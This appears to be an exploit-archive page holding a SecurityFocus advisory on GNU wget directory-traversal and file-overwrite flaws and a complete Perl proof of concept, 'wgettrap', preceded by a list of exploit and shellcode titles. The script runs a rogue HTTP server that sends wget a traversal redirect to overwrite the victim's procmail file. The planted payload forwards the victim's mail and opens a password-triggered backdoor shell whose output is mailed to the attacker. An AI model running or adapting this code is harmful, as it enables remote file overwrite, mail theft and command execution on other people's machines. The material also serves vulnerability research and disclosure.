880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
115 lines
No EOL
4.1 KiB
Perl
Executable file
115 lines
No EOL
4.1 KiB
Perl
Executable file
source: https://www.securityfocus.com/bid/11871/info
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Multiple remote vulnerabilities reportedly affect GNU wget. These issues are due to the application's failure to properly sanitize user-supplied input and to properly validate the presence of files before writing to them. The issues include:
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- a potential directory-traversal issue
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- an arbitrary file-overwriting vulnerability
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- a weakness caused by the application's failure to filter potentially malicious characters from server-supplied input.
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Via a malicious server, an attacker may exploit these issues to arbitrarily overwrite files within the current directory and potentially outside of it. This may let the attacker corrupt files, cause a denial of service, and possibly launch further attacks against the affected computer. Overwriting of files would take place with the privileges of the user that activates the vulnerable application.
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--
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)^o-o^| jabber: rdancer@NJS.NetLab.Cz
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| .v K e-mail: jjminar FastMail FM
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` - .' phone: +44(0)7981 738 696
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\ __/Jan icq: 345 355 493
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__|o|__Min?? irc: rdancer@IRC.FreeNode.Net
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#!/usr/bin/perl -W
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# wgettrap.poc -- A POC for the wget(1) directory traversal vulnerability
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#
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# Copyright 2004 Jan Min???? (jjminar fastmail fm)
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# License: Public Domain
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#
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# When wget connects to us, we send it a HTTP redirect constructed so that wget
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# wget will connect the second time, it will be attempting to override
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# ~/.procm4ilrc (well, provided that the user running wget has username 'jan'
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# 8-)).
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use POSIX qw(strftime);
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# This is our scheme/host/port
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$server = "http://localhost:31340";
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# Use this + DNS poisoning with wget 1.9 & CVS
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#$server = "http://..";
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# Wanna know who got infected?
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#$log = "/dev/pts/1";
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# The filename we will try to overwrite on the target system
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$filename = "/home/jan/.procm4ilrc%00This%20part%20will%20be%20ignored.";
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############### Payload #########################################
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$email = 'your@mailbox';
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$password = 'Pmrpuf ner cevzvgvirf';
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$payload = <<EOP;
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:0c
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| mail -s 'Wgettrap mail copy' $email
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:0
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* ^X-Wgettrap-Command: shell
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* ^X-Wgettrap-Password: $password
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| /bin/sh -c '/bin/sh | mail -s "Wgettrap shell output" $email'
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EOP
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chomp $payload;
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############### Payload #########################################
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# A simple directory traversal, for greater effect
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$trick = "/.." . "%2f.." x 40;
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open LOG, ">$log" if $log;
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while(<STDIN>){
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print LOG $_ if $log;
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if (/\Q$trick$filename\E/) {
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#if (/%2f/) {
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# We see the filename, so this is the second time
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# they're here. Time to feed the sploit.
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$second++;
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} elsif (/^Range: bytes=\(33\)-/) {
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# Appending goes like this:
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# (1) Tell'em what you're gonna tell'em
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# (2) Then tell'em just a half
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# (3) Close it
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# (4) Wait
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# (5) They're comin' back, with wget -c
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# (6) Tell'em the sploit
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# (7) Close again
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# (8) Wtf? They're comin' back with wget -c again
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# (9) Tell'em the rest...
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# (10) ... enjoying the backdoor at the same time
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print LOG "File if $1 bytes long\n" if $log;
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} elsif (/^\r?$/) {
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# The HTTP headers are over. Let's do it!
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$date = strftime ("%a, %e %b %Y %H:%M:%S %z", localtime);
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if (!$second) {
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# Print the payload
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print <<EOT;
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HTTP/1.1 301 Moved Permanently\r
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Date: $date\r
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Server: wgettrap 1.1\r
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Accept-Ranges: bytes\r
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Location: $server$trick$filename\r
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Content-Length: 43\r
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Connection: close\r
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Content-Type: text/html\r
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\r
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<html><head><title></title></head></html>\r
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EOT
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} else {
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# Print the redirection
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print <<EOT;
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HTTP/1.1 200 OK\r
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Date: $date\r
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Server: wgettrap 1.1\r
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Accept-Ranges: bytes\r
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Content-Length: 25\r
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Connection: close\r
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Content-Type: text/plain\r
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\r
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$payload
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EOT
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}
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exit 0;
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}
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} |